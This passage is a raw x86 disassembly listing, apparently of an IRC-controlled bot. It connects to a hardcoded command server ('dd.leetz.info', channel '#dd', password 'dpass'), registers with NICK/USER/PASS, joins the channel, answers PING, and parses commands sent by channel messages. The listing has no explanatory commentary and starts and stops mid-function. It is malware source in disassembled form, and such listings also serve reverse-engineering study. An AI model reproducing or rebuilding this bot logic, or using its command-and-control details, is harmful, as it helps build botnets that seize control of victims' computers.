		call	dword_43C968	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_40C96A
		push	7530h
		jmp	short loc_40C996
; ---------------------------------------------------------------------------


loc_40C96A:				; CODE XREF: sub_40C574+3DEj
					; sub_40C574+3EDj
		push	offset dword_46AE90
		mov	dword_46B000, ebx
		call	sub_40CA58
		cmp	eax, 2
		mov	[ebp+var_8], eax
		jz	loc_40CA44
		cmp	dword_46B000, ebx
		jz	short loc_40C991
		dec	[ebp+var_4]


loc_40C991:				; CODE XREF: sub_40C574+418j
		push	0BB8h


loc_40C996:				; CODE XREF: sub_40C574+3F4j
		call	dword_421060	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_40C94C
		cmp	[ebp+var_8], 2
		jz	loc_40CA44
		cmp	[ebp+var_C], ebx
		jz	short loc_40C9F4
		push	7Fh
		push	offset aDd_leetz_info ;	"dd.leetz.info"
		push	offset dword_46AE94
		call	sub_416BE0
		mov	eax, dword_42C238
		push	3Fh
		push	offset aDd_0	; "#dd"
		push	edi
		mov	dword_46AFE4, eax
		call	sub_416BE0
		push	3Fh
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_416BE0
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_40C949
; ---------------------------------------------------------------------------


loc_40C9F4:				; CODE XREF: sub_40C574+43Ej
		cmp	byte_42C298, bl
		jz	loc_40C949
		push	7Fh
		push	offset byte_42C298
		push	offset dword_46AE94
		call	sub_416BE0
		mov	eax, dword_42C23C
		push	3Fh
		push	offset dword_42C2A8
		push	edi
		mov	dword_46AFE4, eax
		call	sub_416BE0
		push	3Fh
		push	offset aDpass_0	; "dpass"
		push	esi
		call	sub_416BE0
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_40C949
; ---------------------------------------------------------------------------


loc_40CA44:				; CODE XREF: sub_40C574+40Cj
					; sub_40C574+435j
		call	sub_414F9D


loc_40CA49:				; CODE XREF: sub_40C574+AEj
					; sub_40C574+BEj
		call	dword_43C984	; WSACleanup


loc_40CA4F:				; CODE XREF: sub_40C574+A1j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40C574	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA58	proc near		; CODE XREF: sub_40C574+401p
					; DATA XREF: sub_40CD3A+393Fo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40CA7D:				; CODE XREF: sub_40CA58+E6j
					; sub_40CA58+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_43CA24	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_409F7A
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40CBBA
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_415390
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_46AFF8
		push	dword_42C260
		push	eax
		call	sub_414278
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_441BB0
		push	edi
		push	eax
		call	sub_416BE0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_43CAA4	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_441BA4[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_43C9CC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CB43
		push	esi
		call	dword_43CABC	; closesocket
		call	sub_409FA3
		push	7D0h


loc_40CB38:				; CODE XREF: sub_40CA58+146j
		call	dword_421060	; Sleep
		jmp	loc_40CA7D
; ---------------------------------------------------------------------------


loc_40CB43:				; CODE XREF: sub_40CA58+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_433738
		call	sub_40B0EC
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40CBBE
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_43CABC	; closesocket
		test	edi, edi
		jz	loc_40CA7D
		cmp	edi, 1
		jnz	short loc_40CBA0
		push	0DBBA0h
		jmp	short loc_40CB38
; ---------------------------------------------------------------------------


loc_40CBA0:				; CODE XREF: sub_40CA58+13Fj
		cmp	edi, 2
		jnz	loc_40CA7D
		push	[ebp+var_34]
		call	sub_4150F0
		pop	ecx
		push	edi
		pop	eax


loc_40CBB4:				; CODE XREF: sub_40CA58+164j
		pop	edi
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40CBBA:				; CODE XREF: sub_40CA58+5Aj
		xor	eax, eax
		jmp	short loc_40CBB4
sub_40CA58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CBBE	proc near		; CODE XREF: sub_40CA58+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_415B90
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40CBDC:				; CODE XREF: sub_40CBBE+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40CBDC
		cmp	byte_46AFFC, bl
		jz	short loc_40CC03
		push	offset byte_46AFFC
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_412B8B
		add	esp, 0Ch


loc_40CC03:				; CODE XREF: sub_40CBBE+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_414278
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_415316
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CC6D
		push	[ebp+arg_0]
		call	dword_43CABC	; closesocket
		push	1388h
		call	dword_421060	; Sleep


loc_40CC66:				; CODE XREF: sub_40CBBE+D9j
					; sub_40CBBE+153j
		xor	eax, eax


loc_40CC68:				; CODE XREF: sub_40CBBE+16Fj
					; sub_40CBBE+177j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CC6D:				; CODE XREF: sub_40CBBE+92j
					; sub_40CBBE+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43CA3C	; recv
		test	eax, eax
		jle	short loc_40CC66
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_409965
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40CC6D
		lea	edi, [ebp+var_A10]


loc_40CCBE:				; CODE XREF: sub_40CBBE+165j
		xor	esi, esi
		inc	esi


loc_40CCC1:				; CODE XREF: sub_40CBBE+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40CD3A
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40CD04
		push	7D0h
		call	dword_421060	; Sleep
		jmp	short loc_40CCC1
; ---------------------------------------------------------------------------


loc_40CD04:				; CODE XREF: sub_40CBBE+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40CD32
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40CD2A
		cmp	esi, 0FFFFFFFFh
		jz	loc_40CC66
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40CCBE
		jmp	loc_40CC6D
; ---------------------------------------------------------------------------


loc_40CD2A:				; CODE XREF: sub_40CBBE+14Ej
		xor	eax, eax
		inc	eax
		jmp	loc_40CC68
; ---------------------------------------------------------------------------


loc_40CD32:				; CODE XREF: sub_40CBBE+149j
		push	2
		pop	eax
		jmp	loc_40CC68
sub_40CBBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD3A	proc near		; CODE XREF: sub_40CBBE+12Ap

var_27D4	= byte ptr -27D4h
var_23D4	= byte ptr -23D4h
var_21D4	= byte ptr -21D4h
var_1FD4	= byte ptr -1FD4h
var_1ED4	= byte ptr -1ED4h
var_1DD4	= byte ptr -1DD4h
var_1DD0	= byte ptr -1DD0h
var_1CD0	= dword	ptr -1CD0h
var_1CCC	= dword	ptr -1CCCh
var_1CC8	= byte ptr -1CC8h
var_1C48	= byte ptr -1C48h
var_1BC8	= byte ptr -1BC8h
var_1B48	= byte ptr -1B48h
var_1AC8	= byte ptr -1AC8h
var_1A48	= dword	ptr -1A48h
var_1A44	= dword	ptr -1A44h
var_1A40	= dword	ptr -1A40h
var_1A3C	= dword	ptr -1A3Ch
var_1A38	= byte ptr -1A38h
var_19B8	= byte ptr -19B8h
var_1938	= byte ptr -1938h
var_18B8	= byte ptr -18B8h
var_1838	= dword	ptr -1838h
var_1834	= dword	ptr -1834h
var_1830	= dword	ptr -1830h
var_182C	= dword	ptr -182Ch
var_1828	= dword	ptr -1828h
var_1824	= byte ptr -1824h
var_17A4	= byte ptr -17A4h
var_1724	= byte ptr -1724h
var_16A4	= dword	ptr -16A4h
var_16A0	= dword	ptr -16A0h
var_169C	= dword	ptr -169Ch
var_1698	= dword	ptr -1698h
var_1694	= byte ptr -1694h
var_1690	= byte ptr -1690h
var_1590	= byte ptr -1590h
var_158C	= byte ptr -158Ch
var_150C	= byte ptr -150Ch
var_14CC	= byte ptr -14CCh
var_143C	= dword	ptr -143Ch
var_1438	= dword	ptr -1438h
var_1434	= dword	ptr -1434h
var_1430	= dword	ptr -1430h
var_142C	= dword	ptr -142Ch
var_1428	= byte ptr -1428h
var_1424	= dword	ptr -1424h
var_1420	= byte ptr -1420h
var_13A0	= byte ptr -13A0h
var_1324	= byte ptr -1324h
var_129C	= byte ptr -129Ch
var_1220	= dword	ptr -1220h
var_121C	= dword	ptr -121Ch
var_1218	= dword	ptr -1218h
var_1214	= byte ptr -1214h
var_1198	= dword	ptr -1198h
var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= dword	ptr -118Ch
var_1188	= dword	ptr -1188h
var_1184	= byte ptr -1184h
var_1104	= byte ptr -1104h
var_1084	= byte ptr -1084h
var_1004	= dword	ptr -1004h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= dword	ptr -0FE8h
var_FE0		= byte ptr -0FE0h
var_F60		= byte ptr -0F60h
var_EE0		= dword	ptr -0EE0h
var_EDC		= dword	ptr -0EDCh
var_ED8		= dword	ptr -0ED8h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC0		= dword	ptr -0EC0h
var_EBC		= byte ptr -0EBCh
var_DB8		= dword	ptr -0DB8h
var_DB4		= byte ptr -0DB4h
var_D34		= byte ptr -0D34h
var_C35		= byte ptr -0C35h
var_C34		= byte ptr -0C34h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= dword	ptr -0B2Ch
var_B28		= dword	ptr -0B28h
var_B24		= dword	ptr -0B24h
var_B20		= dword	ptr -0B20h
var_B1C		= dword	ptr -0B1Ch
var_B18		= dword	ptr -0B18h
var_B14		= dword	ptr -0B14h
var_B10		= byte ptr -0B10h
var_A90		= dword	ptr -0A90h
var_A8C		= byte ptr -0A8Ch
var_A80		= byte ptr -0A80h
var_A7C		= byte ptr -0A7Ch
var_A0C		= byte ptr -0A0Ch
var_98C		= dword	ptr -98Ch
var_988		= dword	ptr -988h
var_984		= dword	ptr -984h
var_980		= dword	ptr -980h
var_97C		= byte ptr -97Ch
var_970		= byte ptr -970h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= dword	ptr -860h
var_858		= byte ptr -858h
var_84C		= dword	ptr -84Ch
var_848		= byte ptr -848h
var_844		= byte ptr -844h
var_748		= byte ptr -748h
var_740		= byte ptr -740h
var_6C8		= dword	ptr -6C8h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= dword	ptr -6B0h
var_6AC		= dword	ptr -6ACh
var_6A8		= byte ptr -6A8h
var_628		= byte ptr -628h
var_5A8		= dword	ptr -5A8h
var_5A4		= dword	ptr -5A4h
var_5A0		= dword	ptr -5A0h
var_59C		= dword	ptr -59Ch
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_588		= byte ptr -588h
var_578		= byte ptr -578h
var_4F8		= byte ptr -4F8h
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= byte ptr -43Ch
var_420		= dword	ptr -420h
var_41C		= byte ptr -41Ch
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_39C		= byte ptr -39Ch
var_394		= dword	ptr -394h
var_390		= dword	ptr -390h
var_38C		= dword	ptr -38Ch
var_388		= dword	ptr -388h
var_384		= dword	ptr -384h
var_380		= dword	ptr -380h
var_37C		= dword	ptr -37Ch
var_378		= dword	ptr -378h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= byte ptr -364h
var_33C		= byte ptr -33Ch
var_31C		= dword	ptr -31Ch
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= byte ptr -2D8h
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= word ptr -0D0h
var_CE		= word ptr -0CEh
var_CC		= dword	ptr -0CCh
var_C0		= byte ptr -0C0h
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 27D4h
		call	sub_415B90
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2D8]
		push	ebx
		push	eax
		mov	[ebp+var_A8], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_D8], ebx
		call	sub_415390
		push	1Bh
		lea	eax, [ebp+var_43C]
		push	[ebp+arg_10]
		push	eax
		call	sub_416BE0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40D18F
		push	esi
		lea	eax, [ebp+var_21D4]
		push	ebx
		push	eax
		call	sub_415390
		dec	esi
		lea	eax, [ebp+var_21D4]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_416BE0
		lea	eax, [ebp+var_21D4]
		push	offset asc_436BF4 ; " :"
		push	eax
		call	sub_4158E0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_21D4]
		push	esi
		push	eax
		lea	eax, [ebp+var_23D4]
		push	eax
		call	sub_416BE0
		mov	esi, offset asc_426A34 ; " "
		lea	eax, [ebp+var_23D4]
		push	esi
		push	eax
		call	sub_416B3F
		xor	edi, edi
		add	esp, 34h
		mov	[ebp+var_94], eax
		inc	edi


loc_40CE00:				; CODE XREF: sub_40CD3A+DAj
		push	esi
		push	ebx
		call	sub_416B3F
		mov	[ebp+edi*4+var_94], eax
		inc	edi
		pop	ecx
		cmp	edi, 20h
		pop	ecx
		jl	short loc_40CE00
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40D18F
		cmp	[ebp+var_90], ebx
		jz	loc_40D18F
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 0Ch
		push	1Fh
		pop	edx


loc_40CE48:				; CODE XREF: sub_40CD3A+142j
		lea	ecx, [ebp+edx*4+var_94]
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40CE7B
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40CE7E
		cmp	[eax+2], bl
		jnz	short loc_40CE7E
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40CE7B:				; CODE XREF: sub_40CD3A+119j
		dec	edx
		jns	short loc_40CE48


loc_40CE7E:				; CODE XREF: sub_40CD3A+11Ej
					; sub_40CD3A+123j
		xor	edi, edi
		inc	edi
		cmp	[ebp+var_8ED], bl
		jz	short loc_40CE8C
		mov	[ebp+var_8], edi


loc_40CE8C:				; CODE XREF: sub_40CD3A+14Dj
		cmp	[ebp+var_8F2], bl
		jz	short loc_40CE9A
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_40CE9A:				; CODE XREF: sub_40CD3A+158j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40CED4
		push	7Fh
		lea	eax, [ebp+var_B10]
		push	esi
		push	eax
		call	sub_416BE0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_416BE0
		lea	eax, [ebp+var_C0]
		push	offset dword_42F650
		push	eax
		call	sub_416B3F
		add	esp, 20h


loc_40CED4:				; CODE XREF: sub_40CD3A+163j
		push	esi
		push	offset aPing	; "PING"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CF25
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40CFC9
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		add	esp, 10h
		jmp	loc_40CFC9
; ---------------------------------------------------------------------------


loc_40CF25:				; CODE XREF: sub_40CD3A+1A9j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41299F
		push	esi
		push	offset a005	; "005"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41299F
		push	esi
		push	offset a302	; "302"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CF90
		push	offset a@_6	; "@"
		push	[ebp+var_88]
		call	sub_4158E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40CFC9
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_416BE0
		add	esp, 0Ch
		jmp	short loc_40CFC9
; ---------------------------------------------------------------------------


loc_40CF90:				; CODE XREF: sub_40CD3A+22Aj
		push	esi
		push	offset a433	; "433"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CFD0
		push	ebx
		push	dword_46AFF8
		push	dword_42C260
		push	[ebp+arg_10]
		call	sub_414278
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		add	esp, 1Ch


loc_40CFC9:				; CODE XREF: sub_40CD3A+1CAj
					; sub_40CD3A+1E6j ...
		mov	eax, edi
		jmp	loc_40D192
; ---------------------------------------------------------------------------


loc_40CFD0:				; CODE XREF: sub_40CD3A+265j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_D4], 2
		mov	edi, 80h


loc_40CFE2:				; CODE XREF: sub_40CD3A+2CDj
		lea	eax, [ebp+var_B10]
		push	eax
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CFFF
		mov	[ebp+var_A4], 1


loc_40CFFF:				; CODE XREF: sub_40CD3A+2B9j
		add	esi, edi
		dec	[ebp+var_D4]
		jnz	short loc_40CFE2
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D0E8
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2


loc_40D02E:				; CODE XREF: sub_40CD3A+373j
		cmp	[esi], bl
		jz	short loc_40D0A8
		push	7Fh
		lea	eax, [ebp+var_B10]
		push	esi
		push	eax
		call	sub_416BE0
		add	esp, 0Ch
		cmp	[ebp+var_88], ebx
		jz	short loc_40D0A8
		push	[ebp+var_88]
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D0A8
		lea	eax, [ebp+var_C0]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_436B80
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		add	esp, 20h


loc_40D0A8:				; CODE XREF: sub_40CD3A+2F6j
					; sub_40CD3A+310j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40D02E
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D18F
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40D0DB:				; CODE XREF: sub_40CD3A+5D6j
					; sub_40CD3A+918j
		push	[ebp+arg_4]
		call	sub_412B8B
		jmp	loc_412188
; ---------------------------------------------------------------------------


loc_40D0E8:				; CODE XREF: sub_40CD3A+2E4j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D224
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax


loc_40D111:				; CODE XREF: sub_40CD3A+429j
		lea	eax, [ebp+var_B10]
		push	eax
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D15E
		lea	eax, [ebp+var_B10]
		push	21h
		push	eax
		call	sub_416F20
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40D15E
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_415A20
		push	[ebp+arg_1C]
		push	edi
		call	sub_415A30
		add	esp, 10h
		mov	edi, 80h


loc_40D15E:				; CODE XREF: sub_40CD3A+3E8j
					; sub_40CD3A+3FFj
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40D111
		cmp	[ebp+arg_24], ebx
		jz	short loc_40D18F
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D197
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_416BE0
		add	esp, 0Ch


loc_40D18F:				; CODE XREF: sub_40CD3A+5Bj
					; sub_40CD3A+E4j ...
		xor	eax, eax
		inc	eax


loc_40D192:				; CODE XREF: sub_40CD3A+291j
					; sub_40CD3A+281Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D197:				; CODE XREF: sub_40CD3A+443j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40D19C:				; CODE XREF: sub_40CD3A+483j
		cmp	[edi], bl
		jz	short loc_40D1B3
		lea	eax, [ebp+var_B10]
		push	eax
		push	edi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D1C1


loc_40D1B3:				; CODE XREF: sub_40CD3A+464j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D19C
		jmp	short loc_40D18F
; ---------------------------------------------------------------------------


loc_40D1C1:				; CODE XREF: sub_40CD3A+477j
		lea	eax, [ebp+var_B10]
		push	21h
		push	eax
		call	sub_416F20
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_40D18F
		push	eax
		call	sub_415B10
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_415B10
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_40D18F
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_1	; ":%s%s"
		push	esi
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_33C]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 24h
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_40D224:				; CODE XREF: sub_40CD3A+3BDj
		push	esi
		push	offset aPart	; "PART"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D246
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D26D


loc_40D246:				; CODE XREF: sub_40CD3A+4F9j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40D24B:				; CODE XREF: sub_40CD3A+531j
		cmp	[edi], bl
		jz	short loc_40D261
		push	[ebp+var_94]
		push	edi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D2B4


loc_40D261:				; CODE XREF: sub_40CD3A+513j
